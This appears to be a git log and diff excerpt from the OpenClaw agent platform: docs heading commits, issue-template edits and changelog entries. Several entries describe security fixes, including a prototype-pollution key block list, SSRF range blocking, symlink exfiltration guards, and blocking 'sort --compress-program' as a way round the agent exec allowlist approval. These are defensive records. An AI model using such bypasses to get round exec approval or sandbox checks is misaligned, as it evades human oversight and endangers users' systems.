* docs(channels): rename iMessage onboarding and configuration sections

* docs(channels): rename Slack onboarding and configuration sections

* docs(channels): rename Signal onboarding heading

* docs(channels): standardize Nostr onboarding and configuration headings

* docs(channels): standardize Zalo onboarding and configuration headings

* docs(channels): standardize Twitch onboarding heading

* docs(channels): standardize Google Chat onboarding heading

* docs(channels): standardize Mattermost onboarding heading

* docs(channels): standardize Zalo Personal onboarding heading

* docs(channels): normalize Discord configuration heading

* docs(channels): standardize Microsoft Teams onboarding heading

* docs(channels): rename Signal configuration reference heading

* docs(channels): rename Matrix configuration reference heading

* docs(channels): normalize WhatsApp configuration heading

* docs(thinking): link reasoning section heading to in-page anchor

* docs(channels): normalize BlueBubbles configuration heading

* docs(channels): normalize Feishu configuration heading

* docs(channels): standardize Signal setup option headings

* docs(channels): refine Twitch setup heading clarity

* docs(channels): simplify Zalo setup heading phrasing

* docs(channels): trim Microsoft Teams minimal setup heading

* docs(channels): rename Tlon setup to onboarding
2026-02-21 03:37:27 -05:00
Vincent Koc
b5a77b9cb2 docs: finalize remaining setup heading phrasing (#22543)
* docs: fix thinking link and add reasoning anchor reference

* docs(channels): rename LINE setup heading to onboarding

* docs(channels): normalize Nextcloud Talk onboarding headings

* docs(channels): use onboarding heading for Matrix setup

* docs(channels): standardize Discord onboarding heading

* docs(channels): standardize Telegram onboarding heading

* docs(channels): standardize WhatsApp onboarding heading

* docs(channels): rename iMessage onboarding and configuration sections

* docs(channels): rename Slack onboarding and configuration sections

* docs(channels): rename Signal onboarding heading

* docs(channels): standardize Nostr onboarding and configuration headings

* docs(channels): standardize Zalo onboarding and configuration headings

* docs(channels): standardize Twitch onboarding heading

* docs(channels): standardize Google Chat onboarding heading

* docs(channels): standardize Mattermost onboarding heading

* docs(channels): standardize Zalo Personal onboarding heading

* docs(channels): normalize Discord configuration heading

* docs(channels): standardize Microsoft Teams onboarding heading

* docs(channels): rename Signal configuration reference heading

* docs(channels): rename Matrix configuration reference heading

* docs(channels): normalize WhatsApp configuration heading

* docs(thinking): link reasoning section heading to in-page anchor

* docs(channels): normalize BlueBubbles configuration heading

* docs(channels): normalize Feishu configuration heading

* docs(channels): standardize Signal setup option headings

* docs(channels): refine Twitch setup heading clarity

* docs(channels): simplify Zalo setup heading phrasing

* docs(channels): trim Microsoft Teams minimal setup heading
2026-02-21 03:36:39 -05:00
Vincent Koc
d7891badda docs: more channel heading consistency updates (#22541)
* docs: fix thinking link and add reasoning anchor reference

* docs(channels): rename LINE setup heading to onboarding

* docs(channels): normalize Nextcloud Talk onboarding headings

* docs(channels): use onboarding heading for Matrix setup

* docs(channels): standardize Discord onboarding heading

* docs(channels): standardize Telegram onboarding heading

* docs(channels): standardize WhatsApp onboarding heading

* docs(channels): rename iMessage onboarding and configuration sections

* docs(channels): rename Slack onboarding and configuration sections

* docs(channels): rename Signal onboarding heading

* docs(channels): standardize Nostr onboarding and configuration headings

* docs(channels): standardize Zalo onboarding and configuration headings

* docs(channels): standardize Twitch onboarding heading

* docs(channels): standardize Google Chat onboarding heading

* docs(channels): standardize Mattermost onboarding heading

* docs(channels): standardize Zalo Personal onboarding heading

* docs(channels): normalize Discord configuration heading

* docs(channels): standardize Microsoft Teams onboarding heading

* docs(channels): rename Signal configuration reference heading

* docs(channels): rename Matrix configuration reference heading

* docs(channels): normalize WhatsApp configuration heading

* docs(thinking): link reasoning section heading to in-page anchor

* docs(channels): normalize BlueBubbles configuration heading

* docs(channels): normalize Feishu configuration heading

* docs(channels): standardize Signal setup option headings
2026-02-21 03:36:03 -05:00
Nimrod Gutman
78caf9ec3d feat(ios): surface gateway talk defaults and refresh icon assets (#22530)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 54f3a40e22
Co-authored-by: ngutman <1540134+ngutman@users.noreply.github.com>
Co-authored-by: ngutman <1540134+ngutman@users.noreply.github.com>
Reviewed-by: @ngutman
2026-02-21 10:34:20 +02:00
Vincent Koc
e93e67bc8e docs: fix thinking section heading link target (#22539)
* docs: fix thinking link and add reasoning anchor reference

* docs(channels): rename LINE setup heading to onboarding

* docs(channels): normalize Nextcloud Talk onboarding headings

* docs(channels): use onboarding heading for Matrix setup

* docs(channels): standardize Discord onboarding heading

* docs(channels): standardize Telegram onboarding heading

* docs(channels): standardize WhatsApp onboarding heading

* docs(channels): rename iMessage onboarding and configuration sections

* docs(channels): rename Slack onboarding and configuration sections

* docs(channels): rename Signal onboarding heading

* docs(channels): standardize Nostr onboarding and configuration headings

* docs(channels): standardize Zalo onboarding and configuration headings

* docs(channels): standardize Twitch onboarding heading

* docs(channels): standardize Google Chat onboarding heading

* docs(channels): standardize Mattermost onboarding heading

* docs(channels): standardize Zalo Personal onboarding heading

* docs(channels): normalize Discord configuration heading

* docs(channels): standardize Microsoft Teams onboarding heading

* docs(channels): rename Signal configuration reference heading

* docs(channels): rename Matrix configuration reference heading

* docs(channels): normalize WhatsApp configuration heading

* docs(thinking): link reasoning section heading to in-page anchor
2026-02-21 03:33:06 -05:00
Vincent Koc
7c593cd333 docs: finish onboarding/config heading consistency (#22537)
* docs: fix thinking link and add reasoning anchor reference

* docs(channels): rename LINE setup heading to onboarding

* docs(channels): normalize Nextcloud Talk onboarding headings

* docs(channels): use onboarding heading for Matrix setup

* docs(channels): standardize Discord onboarding heading

* docs(channels): standardize Telegram onboarding heading

* docs(channels): standardize WhatsApp onboarding heading

* docs(channels): rename iMessage onboarding and configuration sections

* docs(channels): rename Slack onboarding and configuration sections

* docs(channels): rename Signal onboarding heading

* docs(channels): standardize Nostr onboarding and configuration headings

* docs(channels): standardize Zalo onboarding and configuration headings

* docs(channels): standardize Twitch onboarding heading

* docs(channels): standardize Google Chat onboarding heading

* docs(channels): standardize Mattermost onboarding heading

* docs(channels): standardize Zalo Personal onboarding heading

* docs(channels): normalize Discord configuration heading

* docs(channels): standardize Microsoft Teams onboarding heading

* docs(channels): rename Signal configuration reference heading

* docs(channels): rename Matrix configuration reference heading

* docs(channels): normalize WhatsApp configuration heading
2026-02-21 03:32:37 -05:00
Vincent Koc
79183852f9 docs: more channel onboarding naming cleanup (#22536)
* docs: fix thinking link and add reasoning anchor reference

* docs(channels): rename LINE setup heading to onboarding

* docs(channels): normalize Nextcloud Talk onboarding headings

* docs(channels): use onboarding heading for Matrix setup

* docs(channels): standardize Discord onboarding heading

* docs(channels): standardize Telegram onboarding heading

* docs(channels): standardize WhatsApp onboarding heading

* docs(channels): rename iMessage onboarding and configuration sections

* docs(channels): rename Slack onboarding and configuration sections

* docs(channels): rename Signal onboarding heading

* docs(channels): standardize Nostr onboarding and configuration headings

* docs(channels): standardize Zalo onboarding and configuration headings

* docs(channels): standardize Twitch onboarding heading

* docs(channels): standardize Google Chat onboarding heading

* docs(channels): standardize Mattermost onboarding heading

* docs(channels): standardize Zalo Personal onboarding heading
2026-02-21 03:31:55 -05:00
Vincent Koc
4c4147fb0a docs: continue onboarding terminology cleanup (#22535)
* docs: fix thinking link and add reasoning anchor reference

* docs(channels): rename LINE setup heading to onboarding

* docs(channels): normalize Nextcloud Talk onboarding headings

* docs(channels): use onboarding heading for Matrix setup

* docs(channels): standardize Discord onboarding heading

* docs(channels): standardize Telegram onboarding heading

* docs(channels): standardize WhatsApp onboarding heading

* docs(channels): rename iMessage onboarding and configuration sections

* docs(channels): rename Slack onboarding and configuration sections

* docs(channels): rename Signal onboarding heading

* docs(channels): standardize Nostr onboarding and configuration headings

* docs(channels): standardize Zalo onboarding and configuration headings

* docs(channels): standardize Twitch onboarding heading
2026-02-21 03:31:22 -05:00
Vincent Koc
5eca08dab7 Chore: trim stale TODOs and issue-template language (#22534)
* docs: refresh issue template contact copy

* chore: remove OneDrive resumable upload TODO note
2026-02-21 03:31:17 -05:00
Vincent Koc
12d75ff7f5 docs: continue channel onboarding/config naming cleanup (#22533)
* docs: fix thinking link and add reasoning anchor reference

* docs(channels): rename LINE setup heading to onboarding

* docs(channels): normalize Nextcloud Talk onboarding headings

* docs(channels): use onboarding heading for Matrix setup

* docs(channels): standardize Discord onboarding heading

* docs(channels): standardize Telegram onboarding heading

* docs(channels): standardize WhatsApp onboarding heading

* docs(channels): rename iMessage onboarding and configuration sections

* docs(channels): rename Slack onboarding and configuration sections

* docs(channels): rename Signal onboarding heading
2026-02-21 03:30:35 -05:00
Vincent Koc
436f79839b docs: more channel onboarding heading consistency (#22532)
* docs: fix thinking link and add reasoning anchor reference

* docs(channels): rename LINE setup heading to onboarding

* docs(channels): normalize Nextcloud Talk onboarding headings

* docs(channels): use onboarding heading for Matrix setup

* docs(channels): standardize Discord onboarding heading

* docs(channels): standardize Telegram onboarding heading

* docs(channels): standardize WhatsApp onboarding heading
2026-02-21 03:29:42 -05:00
Vincent Koc
325992b777 docs: small docs sweep consistency updates (#22531)
* docs: fix thinking link and add reasoning anchor reference

* docs(channels): rename LINE setup heading to onboarding

* docs(channels): normalize Nextcloud Talk onboarding headings

* docs(channels): use onboarding heading for Matrix setup
2026-02-21 03:29:17 -05:00
Vincent Koc
c20d519e05 feat(security): migrate sha1 hashes to sha256 for synthetic ids (#7343) (#22528)
* feat(prompt): add explicit owner hash secret to obfuscation path

* feat(security): migrate synthetic IDs to sha256 for #7343
2026-02-21 03:20:14 -05:00
Vincent Koc
9abab6a2c9 Add explicit ownerDisplaySecret for owner ID hash obfuscation (#22520)
* feat(config): add owner display secret setting

* feat(prompt): add explicit owner hash secret to obfuscation path

* test(prompt): assert owner hash secret mode behavior

* Update src/agents/system-prompt.ts

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>

---------

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-02-21 03:13:56 -05:00
SleuthCo.AI
fe609c0c77 security(hooks): block prototype-chain traversal in webhook template getByPath (#22213)
* security(hooks): block prototype-chain traversal in webhook template getByPath

The getByPath() function in hooks-mapping.ts traverses attacker-controlled
webhook payload data using arbitrary property path expressions, but does not
filter dangerous property names (__proto__, constructor, prototype).

The config-paths module (config-paths.ts) already blocks these exact keys
for config path traversal via a BLOCKED_KEYS set, but the hooks template
system was not protected with the same guard.

Add a BLOCKED_PATH_KEYS set mirroring config-paths.ts and reject traversal
into __proto__, prototype, or constructor in getByPath(). Add three test
cases covering all three blocked keys.

Signed-off-by: Alan Ross <alan@sleuthco.ai>

* test(gateway): narrow hook action type in prototype-pollution tests

* changelog: credit hooks prototype-path guard in PR 22213

* changelog: move hooks prototype-path fix into security section

---------

Signed-off-by: Alan Ross <alan@sleuthco.ai>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-21 03:01:03 -05:00
Takayuki Maeda
0bee3f337a MSTeams: dedupe sent-message cache storage (#22514)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 88e14dcbe1
Co-authored-by: TaKO8Ki <41065217+TaKO8Ki@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-21 13:27:50 +05:30
Vincent Koc
f4a59eb5d8 Chore: harden A2UI bundle dependency resolution (#22507)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: d84c5bde51
Co-authored-by: vincentkoc <25068+vincentkoc@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-21 13:16:31 +05:30
Vincent Koc
187f4ea41f deadcode: remove unused extension dev dependencies (#22495)
* Chore: remove unused extension dev dependencies

* Chore: fix changelog PR reference

* Chore: restore dropped deadcode changelog entries

* Chore: retag unused-dependency changelog entries
2026-02-21 02:15:43 -05:00
929 changed files with 51663 additions and 24628 deletions

View File

@@ -13,7 +13,7 @@ body:
attributes:
label: Summary
description: One-sentence statement of what is broken.
placeholder: After upgrading to 2026.2.13, Telegram thread replies fail with "reply target not found".
placeholder: After upgrading to <version>, <channel> behavior regressed from <prior version>.
validations:
required: true
- type: textarea
@@ -48,7 +48,7 @@ body:
attributes:
label: OpenClaw version
description: Exact version/build tested.
placeholder: 2026.2.13
placeholder: <version such as 2026.2.17>
validations:
required: true
- type: input
@@ -83,7 +83,7 @@ body:
- Frequency (always/intermittent/edge case)
- Consequence (missed messages, failed onboarding, extra cost, etc.)
placeholder: |
Affected: Telegram group users on 2026.2.13
Affected: Telegram group users on <version>
Severity: High (blocks replies)
Frequency: 100% repro
Consequence: Agents cannot respond in threads
@@ -92,4 +92,4 @@ body:
attributes:
label: Additional information
description: Add any context that helps triage but does not fit above.
placeholder: Regression started after upgrade from 2026.2.12; temporary workaround is restarting gateway every 30m.
placeholder: Regression started after upgrade from <previous-version>; temporary workaround is ...

View File

@@ -2,7 +2,7 @@ blank_issues_enabled: false
contact_links:
- name: Onboarding
url: https://discord.gg/clawd
about: New to OpenClaw? Join Discord for setup guidance from Krill in \#help.
about: "New to OpenClaw? Join Discord for setup guidance in #help."
- name: Support
url: https://discord.gg/clawd
about: Get help from Krill and the community on Discord in \#help.
about: "Get help from the OpenClaw community on Discord in #help."

View File

@@ -21,7 +21,7 @@ body:
attributes:
label: Problem to solve
description: What user pain this solves and why current behavior is insufficient.
placeholder: Teams cannot distinguish agent personas in mixed channels, causing misrouted follow-ups.
placeholder: Agents cannot distinguish persona context in mixed channels, causing misrouted follow-ups.
validations:
required: true
- type: textarea

View File

@@ -298,7 +298,7 @@ jobs:
name: dead-code-${{ matrix.tool }}-${{ github.run_id }}
path: .artifacts/deadcode
# Validate docs (spellcheck, format, lint, broken links) only when docs files changed.
# Validate docs (format, lint, broken links) only when docs files changed.
check-docs:
needs: [docs-scope]
if: needs.docs-scope.outputs.docs_changed == 'true'
@@ -317,9 +317,6 @@ jobs:
- name: Check docs
run: pnpm check:docs
- name: Spellcheck docs
run: pnpm docs:spellcheck
secrets:
runs-on: blacksmith-16vcpu-ubuntu-2404
steps:

2
.gitignore vendored
View File

@@ -99,3 +99,5 @@ package-lock.json
# Local iOS signing overrides
apps/ios/LocalSigning.xcconfig
# Generated protocol schema (produced via pnpm protocol:gen)
dist/protocol.schema.json

View File

@@ -134,6 +134,7 @@
`gh pr list -R "$fork" --state open` (must be empty)
- Description newline footgun: write Markdown via heredoc to `/tmp/ghsa.desc.md` (no `"\\n"` strings)
- Build patch JSON via jq: `jq -n --rawfile desc /tmp/ghsa.desc.md '{summary,severity,description:$desc,vulnerabilities:[...]}' > /tmp/ghsa.patch.json`
- GHSA API footgun: cannot set `severity` and `cvss_vector_string` in the same PATCH; do separate calls.
- Patch + publish: `gh api -X PATCH /repos/openclaw/openclaw/security-advisories/<GHSA> --input /tmp/ghsa.patch.json` (publish = include `"state":"published"`; no `/publish` endpoint)
- If publish fails (HTTP 422): missing `severity`/`description`/`vulnerabilities[]`, or private fork has open PRs
- Verify: re-fetch; ensure `state=published`, `published_at` set; `jq -r .description | rg '\\\\n'` returns nothing

View File

@@ -2,129 +2,203 @@
Docs: https://docs.openclaw.ai
## 2026.2.20 (Unreleased)
## 2026.2.22 (Unreleased)
### Changes
- Docs: fix FAQ typos and add documentation spellcheck automation with a custom codespell dictionary/ignore list, including CI coverage. (#22457) Thanks @vincentkoc.
- Security/Unused Dependencies: add dead-code scans to CI via Knip/ts-prune/ts-unused-exports and report unused dependencies/exports in non-blocking checks. (#22468) Thanks @vincentkoc.
- Security/Unused Dependencies: move `@larksuiteoapi/node-sdk` out of root `package.json` and keep it scoped to `extensions/feishu` where it is used. (#22471) Thanks @vincentkoc.
- Security/Unused Dependencies: remove unused root dependency `signal-utils` from core manifest after confirming it was only used by extension-only paths. (#22471) Thanks @vincentkoc.
- Security/Unused Dependencies: remove unused root devDependency `ollama` now that native Ollama support uses local HTTP transport code paths only. (#22471) Thanks @vincentkoc.
- Security/Unused Dependencies: remove unused root devDependencies `@lit/context` and `@lit-labs/signals` flagged as unused by Knip dead-code reports. (#22471) Thanks @vincentkoc.
- Security/Unused Dependencies: remove unused root dependency `lit` that is now scoped to `ui/` package dependencies. (#22471) Thanks @vincentkoc.
- Security/Unused Dependencies: remove unused root dependencies `long` and `rolldown`; keep A2UI bundling functional by falling back to `pnpm dlx rolldown` when the binary is not locally installed. (#22481) Thanks @vincentkoc.
- Security/Unused Dependencies: harden A2UI bundling dependency resolution by resolving `lit`, `@lit/context`, `@lit-labs/signals`, and `signal-utils` from UI workspace or repo-root dependency locations to tolerate Docker layout differences without root-only assumptions. (#22504) Thanks @vincentkoc.
- Security/Unused Dependencies: fix A2UI bundle resolution for removed root `lit` deps by resolving `lit`, `@lit/context`, `@lit-labs/signals`, and `signal-utils` from UI workspace dependencies in `rolldown.config.mjs` during bundling. (#22481) Thanks @vincentkoc.
- Security/Unused Dependencies: simplify `canvas-a2ui` bundling script by removing temporary vendored `node_modules` symlink logic now that `ui` workspace dependencies are explicit. (#22481) Thanks @vincentkoc.
- Security/Unused Dependencies: remove unused `@microsoft/agents-hosting-express` and `@microsoft/agents-hosting-extensions-teams` from `extensions/msteams` because current code only uses `@microsoft/agents-hosting`. Thanks @vincentkoc.
- Security/Unused Dependencies: remove unused plugin-local `openclaw` devDependencies from `extensions/open-prose`, `extensions/lobster`, and `extensions/llm-task` after removing this dependency from build-time requirements. (#22495) Thanks @vincentkoc.
- Agents/Subagents: default subagent spawn depth now uses shared `maxSpawnDepth=2`, enabling depth-1 orchestrator spawning by default while keeping depth policy checks consistent across spawn and prompt paths. (#22223) Thanks @tyler6204.
- Channels/CLI: add per-account/channel `defaultTo` outbound routing fallback so `openclaw agent --deliver` can send without explicit `--reply-to` when a default target is configured. (#16985) Thanks @KirillShchetinin.
- iOS/Chat: clean chat UI noise by stripping inbound untrusted metadata/timestamp prefixes, formatting tool outputs into concise summaries/errors, compacting the composer while typing, and supporting tap-to-dismiss keyboard in chat view. (#22122) thanks @mbelinky.
- iOS/Watch: bridge mirrored watch prompt notification actions into iOS quick-reply handling, including queued action handoff until app model initialization. (#22123) thanks @mbelinky.
- iOS/Tests: cover IPv4-mapped IPv6 loopback in manual TLS policy tests for connect validation paths. (#22045) Thanks @mbelinky.
- iOS/Gateway: stabilize background wake and reconnect behavior with background reconnect suppression/lease windows, BGAppRefresh wake fallback, location wake hook throttling, and APNs wake retry+nudge instrumentation. (#21226) thanks @mbelinky.
- Auto-reply/UI: add model fallback lifecycle visibility in verbose logs, /status active-model context with fallback reason, and cohesive WebUI fallback indicators. (#20704) Thanks @joshavant.
- Discord/Streaming: add stream preview mode for live draft replies with partial/block options and configurable chunking. Thanks @thewilloftheshadow. Inspiration @neoagentic-ship-it.
- Discord: add configurable ephemeral defaults for slash-command responses. (#16563) Thanks @wei.
- Discord/Telegram: add configurable lifecycle status reactions for queued/thinking/tool/done/error phases with a shared controller and emoji/timing overrides. Thanks @wolly-tundracube and @thewilloftheshadow.
- Discord/Voice: add voice channel join/leave/status via `/vc`, plus auto-join configuration for realtime voice conversations. Thanks @thewilloftheshadow.
- Discord: support updating forum `available_tags` via channel edit actions for forum tag management. (#12070) Thanks @xiaoyaner0201.
- Channels: allow per-channel model overrides via `channels.modelByChannel` and note them in /status. Thanks @thewilloftheshadow.
- Discord: include channel topics in trusted inbound metadata on new sessions. Thanks @thewilloftheshadow.
- Docs/Discord: document forum channel thread creation flows and component limits. Thanks @thewilloftheshadow.
- Channels/Config: unify channel preview streaming config handling with a shared resolver and canonical migration path.
- Discord/Allowlist: canonicalize resolved Discord allowlist names to IDs and split resolution flow for clearer fail-closed behavior.
- Memory/FTS: add Korean stop-word filtering and particle-aware keyword extraction (including mixed Korean/English stems) for query expansion in FTS-only search mode. (#18899) Thanks @ruypang.
- iOS/Talk: prefetch TTS segments and suppress expected speech-cancellation errors for smoother talk playback. (#22833) Thanks @ngutman.
### Breaking
- **BREAKING:** unify channel preview-streaming config to `channels.<channel>.streaming` with enum values `off | partial | block | progress`, and move Slack native stream toggle to `channels.slack.nativeStreaming`. Legacy keys (`streamMode`, Slack boolean `streaming`) are still read and migrated by `openclaw doctor --fix`, but canonical saved config/docs now use the unified names.
### Fixes
- Cron: honor `cron.maxConcurrentRuns` in the timer loop so due jobs can execute up to the configured parallelism instead of always running serially. (#11595) Thanks @Takhoffman.
- Agents/Compaction: restore embedded compaction safeguard/context-pruning extension loading in production by wiring bundled extension factories into the resource loader instead of runtime file-path resolution. (#22349) Thanks @Glucksberg.
- Slack/Slash commands: preserve the Bolt app receiver when registering external select options handlers so monitor startup does not crash on runtimes that require bound `app.options` calls. (#23209) Thanks @0xgaia.
- Agents/Ollama: preserve unsafe integer tool-call arguments as exact strings during NDJSON parsing, preventing large numeric IDs from being rounded before tool execution. (#23170) Thanks @BestJoester.
- Cron/Gateway: keep `cron.list` and `cron.status` responsive during startup catch-up by avoiding a long-held cron lock while missed jobs execute. (#23106) Thanks @jayleekr.
- Gateway/Config reload: compare array-valued config paths structurally during diffing so unchanged `memory.qmd.paths` and `memory.qmd.scope.rules` no longer trigger false restart-required reloads. (#23185) Thanks @rex05ai.
- Cron/Scheduling: validate runtime cron expressions before schedule/stagger evaluation so malformed persisted jobs report a clear `invalid cron schedule: expr is required` error instead of crashing with `undefined.trim` failures and auto-disable churn. (#23223) Thanks @asimons81.
- TUI/Input: enable multiline-paste burst coalescing on macOS Terminal.app and iTerm so pasted blocks no longer submit line-by-line as separate messages. (#18809) Thanks @fwends.
- TUI/Status: request immediate renders after setting `sending`/`waiting` activity states so in-flight runs always show visible progress indicators instead of appearing idle until completion. (#21549) Thanks @13Guinness.
- Agents/Fallbacks: treat JSON payloads with `type: "api_error"` + `"Internal server error"` as transient failover errors so Anthropic 500-style failures trigger model fallback. (#23193) Thanks @jarvis-lane.
- Agents/Diagnostics: include resolved lifecycle error text in `embedded run agent end` warnings so UI/TUI “Connection error” runs expose actionable provider failure reasons in gateway logs. (#23054) Thanks @Raize.
- Gateway/Pairing: treat operator.admin pairing tokens as satisfying operator.write requests so legacy devices stop looping through scope-upgrade prompts introduced in 2026.2.19. (#23125, #23006) Thanks @vignesh07.
- Gateway/Pairing: treat `operator.admin` as satisfying other `operator.*` scope checks during device-auth verification so local CLI/TUI sessions stop entering pairing-required loops for pairing/approval-scoped commands. (#22062, #22193, #21191) Thanks @Botaccess, @jhartshorn, and @ctbritt.
- Gateway/Pairing: preserve existing approved token scopes when processing repair pairings that omit `scopes`, preventing empty-scope token regressions on reconnecting clients. (#21906) Thanks @paki81.
- Plugins/CLI: make `openclaw plugins enable` and plugin install/link flows update allowlists via shared plugin-enable policy so enabled plugins are not left disabled by allowlist mismatch. (#23190) Thanks @downwind7clawd-ctrl.
- Memory/QMD: add optional `memory.qmd.mcporter` search routing so QMD `query/search/vsearch` can run through mcporter keep-alive flows (including multi-collection paths) to reduce cold starts, while keeping searches on agent-scoped QMD state for consistent recall. (#19617) Thanks @nicole-luxe and @vignesh07.
- Chat/UI: strip inline reply/audio directive tags (`[[reply_to_current]]`, `[[reply_to:<id>]]`, `[[audio_as_voice]]`) from displayed chat history, live chat event output, and session preview snippets so control tags no longer leak into user-visible surfaces.
- BlueBubbles/DM history: restore DM backfill context with account-scoped rolling history, bounded backfill retries, and safer history payload limits. (#20302) Thanks @Ryan-Haines.
- Security/Config: block prototype-key traversal during config merge patch and legacy migration merge helpers (`__proto__`, `constructor`, `prototype`) to prevent prototype pollution during config mutation flows. (#22968) Thanks @Clawborn.
- Security/Shell env: validate login-shell executable paths for shell-env fallback (`/etc/shells` + trusted prefixes) and block `SHELL` in dangerous env override policy paths so untrusted shell-path injection falls back safely to `/bin/sh`. Thanks @athuljayaram for reporting.
- Security/Config: make parsed chat allowlist checks fail closed when `allowFrom` is empty, restoring expected DM/pairing gating.
- Security/Exec: in non-default setups that manually add `sort` to `tools.exec.safeBins`, block `sort --compress-program` so allowlist-mode safe-bin checks cannot bypass approval. Thanks @tdjackey for reporting.
- Security/macOS app beta: enforce path-only `system.run` allowlist matching (drop basename matches like `echo`), migrate legacy basename entries to last resolved paths when available, and harden shell-chain handling to fail closed on unsafe parse/control syntax (including quoted command substitution/backticks). This is an optional allowlist-mode feature; default installs remain deny-by-default. This ships in the next npm release. Thanks @tdjackey for reporting.
- Security/SSRF: expand IPv4 fetch guard blocking to include RFC special-use/non-global ranges (including benchmarking, TEST-NET, multicast, and reserved/broadcast blocks), and centralize range checks into a single CIDR policy table to reduce classifier drift.
- Security/Archive: block zip symlink escapes during archive extraction.
- Security/Media sandbox: keep tmp media allowance for absolute tmp paths only and enforce symlink-escape checks before sandbox-validated reads, preventing tmp symlink exfiltration and relative `../` sandbox escapes when sandboxes live under tmp. (#17892) Thanks @dashed.
- Security/Discord: add `openclaw security audit` warnings for name/tag-based Discord allowlist entries (DM allowlists, guild/channel `users`, and pairing-store entries), highlighting slug-collision risk while keeping name-based matching supported, and canonicalize resolved Discord allowlist names to IDs at runtime without rewriting config files. Thanks @tdjackey for reporting.
- Security/Gateway: block node-role connections when device identity metadata is missing.
- Security/Media: enforce inbound media byte limits during download/read across Discord, Telegram, Zalo, Microsoft Teams, and BlueBubbles to prevent oversized payload memory spikes before rejection. This ships in the next npm release. Thanks @tdjackey for reporting.
- Security/Control UI: block symlink-based out-of-root static file reads by enforcing realpath containment and file-identity checks when serving Control UI assets and SPA fallback `index.html`. This ships in the next npm release. Thanks @tdjackey for reporting.
- Security/MSTeams media: enforce allowlist checks for SharePoint reference attachment URLs and redirect targets during Graph-backed media fetches so redirect chains cannot escape configured media host boundaries. This ships in the next npm release. Thanks @tdjackey for reporting.
- Security/macOS discovery: fail closed for unresolved discovery endpoints by clearing stale remote selection values, use resolved service host only for SSH target derivation, and keep remote URL config aligned with resolved endpoint availability. (#21618) Thanks @bmendonca3.
- Chat/Usage/TUI: strip synthetic inbound metadata blocks (including `Conversation info` and trailing `Untrusted context` channel metadata wrappers) from displayed conversation history so internal prompt context no longer leaks into user-visible logs.
- CI/Tests: fix TypeScript case-table typing and lint assertion regressions so `pnpm check` passes again after Synology Chat landing. (#23012) Thanks @druide67.
- Security/Browser relay: harden extension relay auth token handling for `/extension` and `/cdp` pathways.
- Cron: persist `delivered` state in cron job records so delivery failures remain visible in status and logs. (#19174) Thanks @simonemacario.
- Config/Doctor: only repair the OAuth credentials directory when affected channels are configured, avoiding fresh-install noise.
- Usage/Pricing: correct MiniMax M2.5 pricing defaults to fix inflated cost reporting. (#22755) Thanks @miloudbelarebia.
- Gateway/Daemon: verify gateway health after daemon restart.
- Agents/UI text: stop rewriting normal assistant billing/payment language outside explicit error contexts. (#17834) Thanks @niceysam.
## 2026.2.21
### Changes
- Models/Google: add Gemini 3.1 support (`google/gemini-3.1-pro-preview`).
- Providers/Onboarding: add Volcano Engine (Doubao) and BytePlus providers/models (including coding variants), wire onboarding auth choices for interactive + non-interactive flows, and align docs to `volcengine-api-key`. (#7967) Thanks @funmore123.
- Channels/CLI: add per-account/channel `defaultTo` outbound routing fallback so `openclaw agent --deliver` can send without explicit `--reply-to` when a default target is configured. (#16985) Thanks @KirillShchetinin.
- Channels: allow per-channel model overrides via `channels.modelByChannel` and note them in /status. Thanks @thewilloftheshadow.
- Telegram/Streaming: simplify preview streaming config to `channels.telegram.streaming` (boolean), auto-map legacy `streamMode` values, and remove block-vs-partial preview branching. (#22012) thanks @obviyus.
- Discord/Streaming: add stream preview mode for live draft replies with partial/block options and configurable chunking. Thanks @thewilloftheshadow. Inspiration @neoagentic-ship-it.
- Discord/Telegram: add configurable lifecycle status reactions for queued/thinking/tool/done/error phases with a shared controller and emoji/timing overrides. Thanks @wolly-tundracube and @thewilloftheshadow.
- Discord/Voice: add voice channel join/leave/status via `/vc`, plus auto-join configuration for realtime voice conversations. Thanks @thewilloftheshadow.
- Discord: add configurable ephemeral defaults for slash-command responses. (#16563) Thanks @wei.
- Discord: support updating forum `available_tags` via channel edit actions for forum tag management. (#12070) Thanks @xiaoyaner0201.
- Discord: include channel topics in trusted inbound metadata on new sessions. Thanks @thewilloftheshadow.
- Discord/Subagents: add thread-bound subagent sessions on Discord with per-thread focus/list controls and thread-bound continuation routing for spawned helper agents. (#21805) Thanks @onutc.
- iOS/Chat: clean chat UI noise by stripping inbound untrusted metadata/timestamp prefixes, formatting tool outputs into concise summaries/errors, compacting the composer while typing, and supporting tap-to-dismiss keyboard in chat view. (#22122) thanks @mbelinky.
- iOS/Watch: bridge mirrored watch prompt notification actions into iOS quick-reply handling, including queued action handoff until app model initialization. (#22123) thanks @mbelinky.
- iOS/Gateway: stabilize background wake and reconnect behavior with background reconnect suppression/lease windows, BGAppRefresh wake fallback, location wake hook throttling, and APNs wake retry+nudge instrumentation. (#21226) thanks @mbelinky.
- Auto-reply/UI: add model fallback lifecycle visibility in verbose logs, /status active-model context with fallback reason, and cohesive WebUI fallback indicators. (#20704) Thanks @joshavant.
- MSTeams: dedupe sent-message cache storage by removing duplicate per-message Set storage and using timestamps Map keys as the single membership source. (#22514) Thanks @TaKO8Ki.
- Agents/Subagents: default subagent spawn depth now uses shared `maxSpawnDepth=2`, enabling depth-1 orchestrator spawning by default while keeping depth policy checks consistent across spawn and prompt paths. (#22223) Thanks @tyler6204.
- Security/Agents: make owner-ID obfuscation use a dedicated HMAC secret from configuration (`ownerDisplaySecret`) and update hashing behavior so obfuscation is decoupled from gateway token handling for improved control. (#7343) Thanks @vincentkoc.
- Security/Infra: switch gateway lock and tool-call synthetic IDs from SHA-1 to SHA-256 with unchanged truncation length to strengthen hash basis while keeping deterministic behavior and lock key format. (#7343) Thanks @vincentkoc.
- Dependencies/Tooling: add non-blocking dead-code scans in CI via Knip/ts-prune/ts-unused-exports to surface unused dependencies and exports earlier. (#22468) Thanks @vincentkoc.
